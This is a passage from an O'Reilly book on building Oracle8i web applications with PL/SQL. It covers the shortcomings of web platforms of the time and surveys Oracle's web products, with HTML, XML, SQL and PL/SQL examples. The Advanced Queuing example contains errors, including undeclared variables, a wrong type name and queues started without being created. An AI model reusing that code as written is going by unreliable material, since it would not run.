As technology has progressed, it has become possible to create more and more complex dynamic resources. Once limited to simple operating system scripts, developers can now choose from a host of viable languages for creating content-driven sites: Perl, Visual Basic, C, C++, Java -- even COBOL or FORTRAN! In addition, web servers now support more sophisticated invocation methods. The list of technologies is growing longer every day: CGI, application servers, cartridges, Java servlets, Object Request Brokers (ORBs), and on and on.

The explosive growth of these different technologies and techniques has made it difficult, if not impossible, to select a single platform that can meet all of your current and future needs. Ironically, the overwhelming number of development options is one of the most unsatisfactory things about web development. How do you know which one to pick? Will that technology exist in five years? Is it a viable commercial product or someone's Ph.D. thesis?

The profusion of options has led to two related problems. First, no single platform can meet the needs of every type of application and user group. Second, developers have to use a variety of platforms, depending on the type of application they are building, which stretches their ability to become proficient with any particular technology.

1.2.2.1 No single platform is scalable enough

Current development platforms rarely scale in both directions. For example, suppose you develop a really slick web application for your department using Active Server Pages on Windows NT. Word gets out around the company about how great it is and hundreds of people want to start using it. Suddenly, your application, which was designed for use by 10 or 20 people, has to accommodate hundreds. What can you do to scale it up? Conversely, suppose you need to build a small, specialized system that is to reside on its own server. You know it will never have more than a few users. Will you really use a Sun Ultraserver to build it? No, you'll go with something smaller and more affordable. As developers, it's hard for us to remember that technology decisions should scale in price as well as performance.

1.2.2.2 Developers must know too many platforms

Ideally, developers should be proficient on just one development platform that can scale across different hardware platforms, from Intel to Alpha to Sparc, and operating system platforms, from NT to Unix to VMS. Unfortunately, this is not the case with current web server application development. Developers wander from one platform to the next, worrying, like Goldilocks, that "This one's too small" or "This one's too big," when they need one that's just right.

You must factor in the skill levels required by each option. One of the worst situations is that each platform requires its own specific skill set, so you wind up with a development team that is split along platforms. For example, you may have one group of programmers that uses Perl, one that uses Java, one that uses Oracle Forms, and one that uses PL/SQL. Since it's impossible to master all the techniques available on each platform, you wind up with systems that only a small group can support.

1.2.3 Application Integration and Electronic Data Interchange (EDI)

As if content management and application development aren't enough of a challenge, the new breed of application must seamlessly interact with internal applications and electronically exchange data with external systems. Data entered by remote users must synchronize with the production systems. Orders placed on your web site must flow into an order entry system, which must then send the customers email notifying them that their orders have been received. Purchase orders must flow from your system into the order entry systems of your business partners.

These types of tasks are well beyond the scope of almost all the web servers currently available. While it's possible to build this functionality, it is usually a kludgey process performed with uploads or downloads or, God forbid, rekeying the information by hand.

Web server vendors are attempting to address this problem by defining universal standards for interoperability and object-to-object communication; some of the most promising solutions, such as CORBA and COM, are already available. However, the battle over what will be the general standard is already brewing and promises to make the browser wars look like a game of touch football at a retirement home.

Previous: 1.1 The Internet Grows Up | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 1.3 Oracle's Solution -- Oracle8i
1.1 The Internet Grows Up | Book Index | 1.3 Oracle's Solution -- Oracle8i
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 Oracle's Solution -- Oracle8i

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

1.3 Oracle's Solution -- Oracle8i

To steal a phrase from James Carville, consultant to Bill Clinton's 1992 presidential campaign, "It's the data, stupid." Large companies have realized for years that filesystems are unsuited for sophisticated data management, and have instead relied on relational database management systems (RDBMSs).

These databases have quietly provided scalable, secure, and manageable access to the most critical corporate information for over a decade. Companies understand how to plan for auditing, disaster recovery, capacity, maintenance, and application development. There are well-understood tools and proven techniques, and developers know how to build database systems. Given that content will be king for the new generation of web sites and applications, doesn't it make sense to graft web server capabilities onto a database, rather than a filesystem?

Oracle has had over 20 years of experience designing information systems that manage the most important corporate data. As the largest database vendor in the world, they have (arguably) the world's most sophisticated and powerful database. Over the past several years, Oracle has moved diligently to apply professional data management concepts like scalability, security, auditability, disaster planning, and so on to an unruly world of Internet content management. With Oracle8i, the "Internet database," these plans have come to fruition.

Oracle8i is a soup-to-nuts platform for web site and web application development that addresses the pressing issues of content management, application development, and application integration by extending traditional database concepts to web content. Oracle8i replaces the traditional filesystem used by most web servers with a database management system, and it supports -- either directly or through various add-on products -- a mind-boggling variety of technologies. Table 1.1 summarizes the most important of these; asterisked items must be separately licensed from Oracle.

Table 1.1: Major Web Technologies Supported in Oracle8i
Technology | Description
Internet File System (iFS) | An Oracle extension[2] that allows Oracle8i to store files inside the database. It combines this capability with a wide variety of networking protocols to let various clients use iFS as a native data store. These clients can include email products like Qualcomm Eudora, productivity products like Microsoft Excel or Word, and HTTP clients like Netscape Navigator. In addition, iFS supports sophisticated version control features, such as check-in and check-out for documents shared by multiple users.
HTML | An ASCII-based markup language used to create web pages. HTML is a non-proprietary specification.
XML | An emerging standard for creating documents that contain structured information. XML, syntactically similar to HTML, allows you to define your own markup tags. XML is expected to be a key technology in electronic commerce systems because it simplifies data interchange among various systems.
PL/SQL | A structured programming language similar to Ada that combines procedural constructs with standard SQL. PL/SQL also supports reusable components called packages; you can write your own packages and use those built into Oracle8i. Like Java, PL/SQL is executed directly in the database. Unlike Java, it's supported in Oracle8 and Oracle7.
WebDB* | An Oracle development environment for building and monitoring content-driven web sites and data-driven applications. WebDB allows users to use a web browser to access and store information in the Oracle8i database. It's also compatible with Oracle8 and Oracle7.
Oracle Application Server (OAS)* | An extensible web server that uses plug-in programs called cartridges. OAS allows you to develop database-integrated web systems in a variety of languages, including Java, Perl, and PL/SQL. It's also compatible with Oracle8 and Oracle7.
Java | An object-oriented language similar to C++. Oracle8i includes a built-in Java(TM) Virtual Machine ( JVM) to allow Java programs to execute directly inside the database. Java is probably the single most important new technology in Oracle8i.
InternetLite* | The collective name of a set of Oracle products for developing mobile Internet applications. These products are: Oracle Lite, a small footprint version of Oracle8i; EnterpriseSync Lite (ESL), a set of replication technologies that includes AQ Lite, a disconnected version of AQ; and the InternetLite (IL) server and API, a set of software products for replicating both data and applications to mobile applications.
Oracle interMedia* | The collective name of a set of Oracle cartridges for storing multimedia content inside Oracle8i. The cartridges include interMedia Text for storing text information, Visual Information Retrieval (VIR) for storing image and audio files, and Oracle Spatial for storing geographic data.
Advanced Queuing (AQ) | A queue-based messaging system that allows programs to communicate asynchronously. While Oracle8i is built on the AQ system available in Oracle8 and Oracle7, it supports a "publish/subscribe" model not available in the earlier versions.

[2] Available in Oracle8i Release 8.1.5.

As you can see, Oracle8i supports an extensive number of products and technologies for developing web sites and Internet systems. We'll look at each product in a little more depth in the next several sections.

1.3.1 The Internet File System

The Internet File System (iFS) allows Oracle8i to masquerade as different types of data servers, including a file server, an FTP server, and an email server. This makes data accessible to almost any type of client, whether it's a Windows 95 workstation, a web browser, or an email client. i FS supports several networking protocols to accomplish this sleight of hand:

SMB

Allows Windows 95, NT, and 98 clients to treat files stored in Oracle8i as if they resided on a normal Windows file server

FTP and HTTP

Allow FTP clients and web browsers to treat data stored in Oracle8i as if it resided on an FTP or web site

SMTP, IMAP4, and POP3

Allow email clients like Eudora and Microsoft Outlook to treat data stored in an Oracle8i database as if it resided on an email server

For example, a user on a Windows workstation can define a network drive like E:, F:, or O: that points to an Oracle8i database instead of to a file server. The user sees no discernible difference between an Oracle8i volume and a file server, and she can open, update, or save Word and Excel files in the usual way.

Although i FS is not available at the time of writing, Oracle has laid out the following basic model for its use in conjunction with XML:

  1. You create a TYP file (an XML document) to describe the structure of each type of document that can be stored in the iFS repository. Each element in the TYP file is mapped to a corresponding column in a database table.

  2. Users can use almost any client to access the iFS repository, including FTP and HTTP clients, email clients, and Windows (SMB) clients. The client treats the iFS repository as it would a native data server. For example, an email client can see Oracle8i as an email server, and a Windows client can see the same information as a network volume.

  3. iFS executes a server-based event, a chunk of code analogous to a database trigger, whenever a user inserts, deletes, updates, or views a document in the iFS repository. You can develop your own event servers, using Java and CORBA, to override basic iFS functionality. For example, you might want to send an email when a certain type of document, such as a purchase order, is saved to the repository. iFS also has a built-in XML parser to process XML documents.

Using iFS, you could define a purchase order document and associate it with various events. A customer could place an order electronically by emailing a purchase order document to the Oracle8i iFS repository. This could trigger a "Send Thank You" event that would send an email thanking the customer for the order and a "Process Order" event that would move the document into an order entry system.

1.3.2 HTML

HyperText Markup Language (HTML), the language used to create web pages, is a specification for marking up text documents using a fixed set of tags that control how the document is displayed in a web browser. For example, text enclosed between the <b> and </b> tags is displayed in bold, and text enclosed within <i> and </i> is displayed in italics. Tags can also have attributes, parameters that act like instructions. For example, the <a> tag, which is used to create a hyperlink within a document, has an attribute named href that specifies the location (the uniform resource locator, or URL) of the page the user visits when he clicks on the link.

HTML is also used to create simple data entry forms you can use to store information inside an Oracle database. Here, for example, is the HTML code needed to produce a guest book screen that asks for a web user's name, email address, and comments:

<html>
   <title>Sign the guest book</title>
   <body>
      <form action="guestbook.insert_entry" method="post">
         <b>Name:</b>    <input name=i_name>  <p>
         <b>E-mail: </b> <input name=i_email> <p>
         <b>comments:</b>
            <textarea name="i_comments" rows=5 cols=40>
            </textarea>
         <p>
         <input type=submit>
      </form>
   </body>
</html>

Figure 1.1 shows how the form is displayed in a web browser. You can learn more about HTML in Chapter 5, HTML.

Figure 1.1: An HTML form

1.3.3 XML

Extensible Markup Language (XML) is an emerging standard for creating structured documents using an HTML-like syntax. Although much of the current enthusiasm for XML is focused on its ability to create complex user interfaces for web systems, XML has much broader applications in the following areas:

  • Creating complex, browser-based user interfaces. At the time of this writing, though, few browsers support XML (Microsoft's Internet Explorer version 5.0 supports most of the new XML specification).

  • Defining a universal data format for use in productivity tools like spreadsheets and word processors.

  • Applying complex, hierarchical relationships to unstructured data.

  • Providing a platform-independent specification for exchanging information among a variety of electronic systems, including different database systems.

Surprisingly, XML is also fairly easy to learn and use. The following example shows how you could use XML to create an electronic invoice:

<?xml version="1.0"?>
<!DOCTYPE INVOICE SYSTEM "invoice.dtd">
<INVOICE>
   <INVOICE_NUMBER>876514234</INVOICE_NUMBER>
   <DATE>05/21/1999</DATE>
   <CUSTOMER>Megaplex Industries</CUSTOMER>
   <INVOICE_ITEMS>
      <ITEM>
         <ITEM_NAME ITEM_NUM="PN-5342">Widget 1</ITEM_NAME>
         <QUANTITY>5</QUANTITY>
         <PRICE>19.99</PRICE>
      </ITEM>
      <ITEM>
         <ITEM_NAME ITEM_NUM="PN-6354">Widget 2</ITEM_NAME>
         <QUANTITY>2</QUANTITY>
         <PRICE>9.99</PRICE>
      </ITEM>
   </INVOICE_ITEMS>
   <TOTAL>119.93</TOTAL>
</INVOICE>

XML allows you to define your own tags and attributes, then set up rules that these tags must follow. An XML parser program reads each document to make sure that it follows these rules and, if it does, moves it into a hierarchical data structure called a document tree. You can then manipulate the structured information using Java or PL/SQL. You can learn more about XML in Chapter 9, XML.

1.3.4 PL/SQL

PL/SQL is Oracle's procedural language extension to the SQL language. PL/SQL is a structured language that has been extended in Oracle8 and Oracle8i to handle object types and support other object-like features. PL/SQL is especially well suited to modular programming since it allows you to build stored procedures, functions, and packages to perform database operations. PL/SQL provides a rich set of datatypes and supports conditional processing, loops, cursors (for row-at-a-time processing), and collections (PL/SQL's version of arrays, formerly called PL/SQL tables).

Packages are an especially powerful PL/SQL construct. A package is a container for other PL/SQL elements, such as variables, constants, procedures, functions, and datatype definitions. Packages let you build standard code libraries with well-defined APIs. In the web environment, for example, you might create standard libraries to handle security, formatting, and other reusable functionality.

You can learn more about PL/SQL in Chapter 6, PL/SQL.

1.3.5 WebDB

WebDB is an excellent tool for developing database-driven web applications and sites. WebDB lets you perform everything from database administration to application development using only a web browser. Your applications and content area are stored inside the database. WebDB's capabilities are divided into these broad categories:

Database administration

WebDB lets you use a web browser, rather than a "fat" client like Oracle Enterprise Manager (OEM), to perform routine database administration tasks. These tasks might include viewing the definitions of database objects, administering WebDB and database security, and monitoring database and application performance.

Application development

WebDB provides wizards that simplify the development of database objects (e.g., tables and views) and user interface components (e.g., forms and reports).

Content-driven web management

WebDB lets you use a browser to build and edit complex sites, add content (e.g., PDF, presentations, papers), and integrate other WebDB applications. You, and better yet, your end users, can add web content directly from a browser and can manage it like any other information.

You can learn more about WebDB in Chapter 3, WebDB.

1.3.6 Oracle Application Server

Oracle Application Server (OAS) is another good tool for building web applications. Whereas WebDB may be the most appropriate tool for quickly building and deploying Internet applications, OAS is probably best for electronic commerce and enterprise resource planning applications. OAS performs all the functions of a traditional web server, but in addition, it provides tight integration to an Oracle database.

OAS is built on a system of plug-in cartridges used to execute certain kinds of resources. Several language cartridges come with OAS: PL/SQL, used to execute PL/SQL stored procedures; Java, used to execute server-side Java programs; and Perl, used to execute Perl scripts. Other cartridges are also available; for example, the ODBC cartridge executes ODBC (Open Database Connectivity) statements and returns the results directly to your browser.

You can learn more about OAS in Chapter 4, Oracle Application Server (OAS).

1.3.7 Java

Java, a popular object-oriented language, is becoming a good choice for developing and deploying Oracle-based web applications. Oracle8i is completely integrated with Java, and supports a wide range of data access and development models. These include:

JDBC(TM)

The standard specification for interaction between Java and relational databases, as defined by Sun Microsystems. JDBC is the Java version of ODBC. Programmers can take advantage of Oracle's extensions to JDBC, such as convenient access to Oracle-specific datatypes like ROWID.

SQLJ

A precompiler technology (similar to Pro*C or Pro*COBOL) that allows the programmer to embed static SQL statements directly into Java code. The SQLJ translator and runtime libraries are available both inside and outside the Oracle8i server. SQLJ also provides access to Oracle-specific datatypes.

Java stored procedures (JSPs)

Stored programs that let you invoke static Java methods from Oracle's SQL or PL/SQL languages. The mechanism for publishing Java methods in this fashion is proprietary to Oracle.

CORBA server objects

Objects that are developed according to Object Management Group (OMG) specifications and that can be distributed. They can communicate with other objects regardless of location. Using CORBA, you can integrate both Java and non-Java applications. CORBA server objects in Oracle8i can both call and be called by CORBA objects outside the server. CORBA is supported by a variety of languages and environments.

Enterprise Java Beans(TM) (EJBs)

An approach especially helpful in large distributed systems. EJBs are coarse-grained, reusable components that comply with Sun's EJB specification; they rely on the Oracle8i EJB "execution container" for services such as component location, activation, security, and transaction support. EJBs can be used with non-Java applications.

Java servlets

Java programs that generate HTML for presentation in a web browser. The Oracle8i server provides HTTP service and a servlet execution environment by incorporating a special version of Sun's Java(TM) Web Server(TM).[3] Servlets can read and write database data using any convenient database access model ( JDBC, SQLJ, etc.) and generate any form of HTML.

[3] This capability is in beta form in Oracle8i's initial release.

Consult the appendix for a list of references concerning Java development.

1.3.8 InternetLite

InternetLite is a toolkit for building mobile applications that allow users to work while disconnected from a network. A mobile application has two basic parts: a master sit e and a snapshot sit e. The master site is usually a complete, production Oracle database. When a user needs to disconnect from the network and use the database on the road, he copies a subset of the production data from the master site to his own local database, the snapshot site. The user makes various changes to the snapshot site, each of which is recorded in a log, until he is ready to reconnect to the master site. At this point, the snapshot site and master site must be synchronized so that changes on the snapshot site are applied to the master site, and vice versa. The logs are reset once the master site and snapshot site are in synch.

As you can imagine, handcoding the mechanics for each of these steps can be a tedious, difficult process. The various InternetLite products act as a sort of operating system for distributed computing that provides these services automatically; it handles data and application replication issues, allowing you to concentrate on designing your application without worrying about lower-level details. There are four individual products in the InternetLite product suite: Oracle Lite, EnterpriseSync Lite, AQ Lite, and the InternetLite server and API.

Since it's helpful to look at each product in the context of a specific example, let's suppose you want to create a mobile expense sheet application. The system should allow users to record their expenses while they're on the road and, when they return to the office, automatically upload these expense items into the production database.

1.3.8.1 Oracle Lite

Oracle Lite functions as a miniature version of the full Oracle8i database, which runs in just under one megabyte of memory and supports the major database application objects, such as tables, indexes, and sequences. The Oracle Lite database is used to maintain the snapshot site in a mobile application.

Oracle Lite supports two modes for application development: client/server and Internet. Client/server mode allows developers to use the Oracle Call Interface (OCI) to write C programs, Open Client Adapter (OCA) to write Developer/2000 applications, and ODBC to write applications using Visual Basic, Access, PowerBuilder, etc. Internet mode supports two access methods: JDBC or the Java Access Classes ( JAC), an API for creating data-aware Java servlets.

To return to our expense report example: Oracle Lite is the application data store that contains the expense items. Our first step in developing the application is to define the various tables, such as the different types of expenses (lodging, mileage, food) and the actual expense items (person submitting the item, date, expense type, dollar amount). We can use Oracle Forms, Java, and an ODBC client such as Microsoft Access to write the application and then use EnterpriseSync Lite to develop a replication strategy to move data between the master and snapshot sites.

1.3.8.2 EnterpriseSync Lite

EnterpriseSync Lite (ESL) is the second product in the InternetLite suite. As its name implies, ESL is used to handle the synchronization phase of a mobile application. ESL provides a replication API, called REPAPI, that defines how the table data is moved between the master and snapshot sites.

ESL is based on Oracle's database table snapshot technology. A snapshot is basically a copy of a table that's based on a SQL query. For example, to create a snapshot of the expense item table, I could use the command:

CREATE SNAPSHOT expense_item_snap AS
   SELECT * FROM EXPENSE_ITEMS;

Periodically, the snapshot must be refreshed to reload the information from its base query. There are two refresh options: complete and fast. A complete refresh will reload the entire table. A fast refresh will reload only the rows that have been changed or added since the last refresh.

TIP: As a rule of thumb, the fast refresh is faster only when fewer than 10% of the rows in the underlying master table have been changed. Otherwise, the complete refresh is faster.

ESL automates the process of creating the snapshot site by allowing you to define how and when the application loads and refreshes the snapshot data. Hooking your program into the REPAPI provides a behind the scenes way to move data from the snapshot site into the master site and vice versa. ESL supports two replication modes: synchronous and asynchronous. In synchronous mode, the user must be connected directly to the database over a standard SQL*Net (Net8) connection; data is transmitted using the standard Oracle protocol. In asynchronous mode, the user uses a file transfer process, such as email or FTP, to send an export file of her snapshot log and receive an import file of snapshot refresh data. The advantage of this approach is that users can synchronize their systems off-site using standard products like Qualcomm Eudora or Microsoft Outlook.

1.3.8.3 AQ Lite

EnterpriseSync Lite also includes AQ Lite, a scaled-down version of Advanced Queuing (AQ, covered later in this chapter), that's used to create distributed messaging services. Messages are queued to the snapshot site's local data store and sent to the production queues when the user synchronizes.

1.3.8.4 InternetLite server and API

The InternetLite server allows you to synchronize both data and applications on mobile clients, eliminating the problem of installing the correct version of an application on mobile clients. The advantages of this approach should be clear to anyone who has ever tried to provide phone support to an irate user (usually calling from the client's site!) who has a corrupted database or a Dynamic Link Library (DLL) conflict.

The catch is that the applications must follow the Internet development model; the client/server model isn't supported. The development process works something like this:

  1. The developer defines the master and snapshot sites using Oracle Lite as a local data store.

  2. She then writes the application using Java servlets. Typically, these applications use an HTML user interface to access the underlying database tables.

  3. Next, she sets up a replication profile for each mobile client that defines the snapshot tables and application components that are replicated.

  4. When the user connects to the IL server, it receives the data in the master site as well as all the Java servlets required for the application. IL replicates everything the user needs to run the application in disconnected mode, including the Oracle Lite database engine and the necessary Java classes.

The InternetLite server, which performs these operations, is a plug-in cartridge for OAS version 4.0. Figure 1.2 shows the architecture of an IL-based system.

Figure 1.2: Architecture of an InternetLite-based mobile application

Consult the appendix for a list of resources that will help you learn more about the InternetLite product suite and building distributed systems in general.

1.3.9 Oracle interMedia

Oracle8i has three plug-in cartridges that can manage multimedia data: the interMedia Text cartridge, the Video Information Retrieval (VIR) cartridge, and the Oracle Spatial cartridge. These three products are collectively called Oracle interMedia, and allow Oracle to manage text, multimedia, and spatial data.

1.3.9.1 Text data

The Oracle interMedia Text cartridge is used to manage documents (either inside or outside the database) by automatically indexing them with smart attributes. You can then use SQL to perform a variety of complex searches, such as searching for an exact phrase or performing a fuzzy search to find the closest matches for the search criteria. Text can index nontext documents, such as Word, Excel, PowerPoint, WordPerfect, Adobe PDF, HTML, and XML, using a filter that converts the document from its native format into one the database can understand. Currently, there are more than 100 such filters.

1.3.9.2 Multimedia data

interMedia can manage traditional multimedia files, such as video or audio clips, as well as static image files. Video Information Retrieval (VIR) can store video clips in a variety of formats, including AVI, QuickTime, and MPEG. It can store audio clips in AUF, AIFF, AIFF-C, and WAV formats. These clips are accessible through any streaming server, such as RealNetworks or Oracle Audio/Video Server. interMedia can also store image files in a variety of popular formats, including TIFF, GIF, and JPEG. Audio, video, and image data are all compatible with popular authoring tools like Symantec Visual Page or FrontPage, via the interMedia clipboard.

1.3.9.3 Spatial data

interMedia's Spatial cartridge provides support for a range of geocoding systems that specify a latitude and longitude with a specific piece of information, such as a zip code or an address. This information can be used to calculate distances between locations or to represent information in geographic information systems (GIS). For example, using this information, you could create a query system for a bank that returned the ATM locations closest to a specific address.

1.3.10 Advanced Queuing

Advanced Queuing (AQ), first introduced in Oracle8, is a message-based queuing system you can use to bind a variety of different systems together. A universally accessible API used to send complex messages from one system to another, AQ is built on procedures and functions stored directly in the database. This architecture allows applications in any language or platform, from COBOL to PL/SQL to Java, to communicate through a system of queues maintained in the database.

For example, an OAS storefront could use AQ to send an order from its order entry system. This system, perhaps written in C, could use the AQ API to retrieve and process the request. This universal application-to-application communication eliminates the need for clunky import and export routines.

As an example of AQ in action, suppose you want to write a simple web site that lets registered customers buy or sell stocks over the Internet. The customer can use a variety of clients, such as a Java applet, an HTML browser, or an Oracle Forms application, to place an order to buy or sell stock. Another program, perhaps written in Pro*COBOL, periodically processes and fulfills the orders placed so far. The next sections illustrate how to design an AQ-based solution. Figure 1.3 illustrates its basic architecture.

Figure 1.3: Basic architecture of an AQ-based stock system

1.3.10.1 Define the message payload

The first step is to define the structure of the message contained in the queue, which is done with the SQL command, CREATE TYPE. Here, for example, is how we might define a simple payload for the stock example:

CREATE TYPE aq.customer_order AS OBJECT (
   customer_id NUMBER,
   stock_symbol VARCHAR2(20),
   num_shares NUMBER );

1.3.10.2 Create and start the queue tables

The next step is to use the AQ administrative API to create the queues inside the Oracle database. Each queue is associated with a payload definition and (by default) follows the first-in-first-out protocol. In our example, we want to create two message queues: one for "buy" messages and one for "sell" orders. After you create the queues, you can start and stop them to control when they can receive messages. The following code snippet illustrates these steps for our example:

-- Create BUY and SELL Queues
EXECUTE DBMS_AQADM.CREATE_QUEUE_TABLE (
   queue_table => 'aq.BUY_QUEUE',
   queue_payload_type => 'aq.customer_order');

EXECUTE DBMS_AQADM.CREATE_QUEUE_TABLE (
   queue_table => 'aq.SELL_QUEUE',
   queue_payload_type => 'aq.customer_order');

-- Start the Queues
EXECUTE DBMS_AQADM.START_QUEUE (
   queue_name => 'BUY_QUEUE');

EXECUTE DBMS_AQADM.START_QUEUE (
   queue_name => 'SELL_QUEUE');

1.3.10.3 Enqueue and dequeue messages to/from a queue

Once you've created and defined the queues, you can begin enqueu i ng (inserting) and dequeu i ng (retrieving) messages. To create a message, you create an object based on the queue payload, set the values you want to insert, and call AQ's ENQUEUE procedure. For example, a browser-based client could enqueue an order at any time by calling the following PL/SQL procedure:

PROCEDURE buy_stock (
   i_customer_id  IN VARCHAR2 DEFAULT NULL,
   i_stock_symbol IN VARCHAR2 DEFAULT NULL,
   i_num_shares   IN VARCHAR2 DEFAULT NULL
   )
IS

   the_order aq.customer_order;
   queueopts dbms_aq.enqueue_options_t;
   msgprops dbms_aq.enqueue_properties_t;
   msg_id RAW(16);

BEGIN
   the_order :=
      message_type (
         i_customer_id,
         i_stock_symbol,
         i_num_shares
      );
   DBMS_AQ.ENQUEUE (
      queue_name => 'BUY_QUEUE',
      payload => the_order,
      enqueue_options => queueopts,
      message_properties => msgprops,
      msg_id => msg_handle
   );
END;

Dequeuing reverses the process by extracting the item from the queue. To dequeue a message, you create a payload variable and then use the AQ's DEQUEUE procedure to extract the first item off the queue. In our example, we could fairly easily retrofit our legacy system (for example, a Pro*COBOL program) to loop through each item on the BUY and SELL queue.

You can learn more about AQ in Oracle Built-in Packages, by Steven Feuerstein, Charles Dye, and John Beresniewicz (O'Reilly & Associates).

1.3.11 Functional Summary of Oracle8i Web Products

Table 1.2 illustrates the role each Oracle8i web product plays in fulfilling the requirements for the new generation of systems laid out at the beginning of this chapter.

Table 1.2: Uses for Oracle8i Web Technology
 | AQ | HTML | i FS | interMedia | IL | Java | OAS | PL/SQL | WebDB | XML
Content management |  |  | X | X |  |  |  |  | X |
Application development | X | X | X | X | X | X | X | X | X | X
Application integration | X |  | X |  |  | X |  |  |  | X
Electronic data exchange |  |  |  |  |  |  |  |  |  | X

In addition to supporting a range of tools for content management, application development, and application integration, Oracle8i (as well as Oracle7 and Oracle8) scales across three related dimensions: performance, platform, and price. Oracle8i's multithreaded architecture ensures high performance through clustering, connection pooling, and multiplexing; it also has a resource management system to precisely control the CPU time given to a user or a group of users. Oracle8i runs on an enormous number of hardware and software platforms, which can range from a palmtop (via Oracle Lite), to a workgroup server, to a mainframe; porting an application from one platform to another is often as simple as exporting and importing the schema. Finally, since Oracle8i is supported on so many different systems, you can decide how much you're willing to spend on an application without locking yourself into a platform that can't, if necessary, scale up.

Finally, Oracle8i addresses the pressing problem of development fragmentation by allowing developers to master a single platform that can meet most foreseeable future demands. Of course, there's just one little problem.

Previous: 1.2 Current Web Techniques Are Inadequate | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 1.4 A Roadmap to Oracle8i
1.2 Current Web Techniques Are Inadequate | Book Index | 1.4 A Roadmap to Oracle8i
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.4 A Roadmap to Oracle8i

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

1.4 A Roadmap to Oracle8i

There's way too much new stuff to learn! You could spend the rest of your life -- including the additional 100 years you'll get because of Y2K -- learning the technologies listed in Table 1.2 and still not master them all. Oracle Corporation is far ahead of most of us; we're lucky if we can keep our existing production systems running, much less learn dozens of new tools and methodologies.

Given the increasing importance of the Internet, though, we need development skills that we can use right now, not in the distant future. Additionally, some sites, for one reason or another, haven't even moved from Oracle version 7.3 (or even 7.0) to Oracle8, much less Oracle8i. What are they supposed to do?

In this section I'll suggest an approach to building web applications for Oracle8i that you can learn in just a week or two, even if you currently know nothing about the Web and even if you're still using Oracle7. Everything I'll cover will migrate smoothly to Oracle8i. In this way, you'll have time to start learning the other technologies even as you develop new systems. The approach I suggest here uses a subset of the technologies listed in Table 1.2: OAS, WebDB, HTML, PL/SQL, and XML. I'll also tell you why I think Java should be your second step.

1.4.1 Connect the Database to the Web Using OAS or WebDB

The first thing you'll need to do is connect the Oracle database to the Web. The simplest way to do this is to use either OAS or WebDB. Both products work with Oracle 7.3 or above. I'll cover each in its own chapter, focusing on what you, as an application developer, need to know to use and understand the technology.

1.4.2 Develop Web Applications with HTML and PL/SQL

Once you've seen how to connect the database and the Web, you can start learning how to write web applications by combining HTML, the language used to create web pages, with PL/SQL, the SQL-like language used to develop Oracle stored procedures. The next three sections explore the reasons for choosing these tools.

1.4.2.1 Why HTML?

HTML is based on a simple principle: a limited syntax composed of tags and attributes can define almost any document, from a quarterly report to an online catalog. Each tag affects the text between the start tag and the end tag. Tag attributes act like parameters that refine the tag's behavior. There are several reasons why HTML is an appealing user interface:

HTML is easy to learn

HTML uses a simple, forgiving syntax to create documents. These documents can range from a text-only listing of all employees in a particular table to a complete data entry form that inserts or updates a record in a table. This simplicity is in stark contrast to the host of proprietary languages that try to be all things to all people.

HTML is platform-neutral

A browser running on a PC, a Macintosh, or a Unix system will display a document in roughly the same way. Because virtually all browsers support HTML, you can concentrate on developing the contents of a page without worrying about how it will be distributed. If you build an online employee directory, anyone with a browser can access it through an HTML interface, regardless of the type of machine they have.

HTML is simple to deploy

With a browser and a TCP/IP connection, a user can access any application on your network by simply typing in the appropriate URL. Imagine trying to coordinate a similar system based on Oracle Forms. Use of HTML eliminates the version conflicts, SQL*Net conflicts, and configuration headaches that make being an application developer a real drag.

HTML provides some protection from constant change

HTML is a non-proprietary, standards-based language. If a browser supports the base HTML language, it can display any HTML document, even if the document is 10 years old. This gives considerable freedom to you as a developer, because as long as browsers support HTML, a user can modify or change his machine however he wants, and your application will still work.

Despite all these advantages, HTML is not a panacea. There are some limitations that affect the way you design an application:

HTML is not a programming language

HTML is a specification for marking up a document's content, not a programming language. It doesn't support variables, loops, conditionals, or have a robust event model, so you are forced to put all your program logic on the server. Scripting languages like JavaScript can help mitigate this problem (WebDB can even generate this type of scripting code for you automatically).

HTML applications are stateless

HTTP, the underlying protocol of HTML, is a stateless protocol, meaning that it doesn't preserve information between connections. This seriously affects the way you must design web applications. We'll discuss this in later chapters.

HTML interfaces are not as sophisticated as client/server interfaces

HTML is, at heart, a layout tool. Consequently, it doesn't support all the GUI widgets found in client/server development tools like Oracle Forms or PowerBuilder. Again, JavaScript can help mitigate this problem.

1.4.2.2 Why PL/SQL?

Combining HTML with PL/SQL gives us all we need to develop useful web systems that are powerful, easy to design, and easy to develop. The language offers several benefits to overworked developers:

PL/SQL is easy to learn and use

PL/SQL is an evolutionary, not revolutionary, step for most IS developers because it's a straightforward extension of standard SQL that's ideally suited for database processing.

PL/SQL fosters code reuse

Packages (groups of procedures and functions) provide many of the benefits of object-oriented languages without the hassle of learning a brand new programming methodology.

PL/SQL integrates with other Oracle tools

PL/SQL stored procedures are accessible from any SQL*Net or ODBC product, from Oracle Forms to Pro*C to Microsoft Access to Java. As a result, you can implement a business rule in the database as a PL/SQL procedure and use it in any frontend tool, rather than writing the same logic again and again for each development environment.

PL/SQL is portable

PL/SQL is included with Oracle version 7 and above and is supported on all Oracle platforms.

PL/SQL is fast

Oracle8 introduced, and Oracle8i refined, a host of performance improvements to PL/SQL. Additionally, packages are parsed, stored, and executed inside the database, providing superfast data access. Once loaded, these packages may be shared across multiple sessions, resulting in even better performance.

PL/SQL is proven

Millions of lines of production PL/SQL code are quietly humming away in companies across the world. While it may not have the sex appeal of some other technologies, PL/SQL has proven itself a scalable, robust solution in thousands of mission-critical applications.

The major downside of PL/SQL is that it's a proprietary language supported only on Oracle systems. If you are concerned about locking yourself into an Oracle-only solution, you should consider using Java.

1.4.2.3 So why not Java?

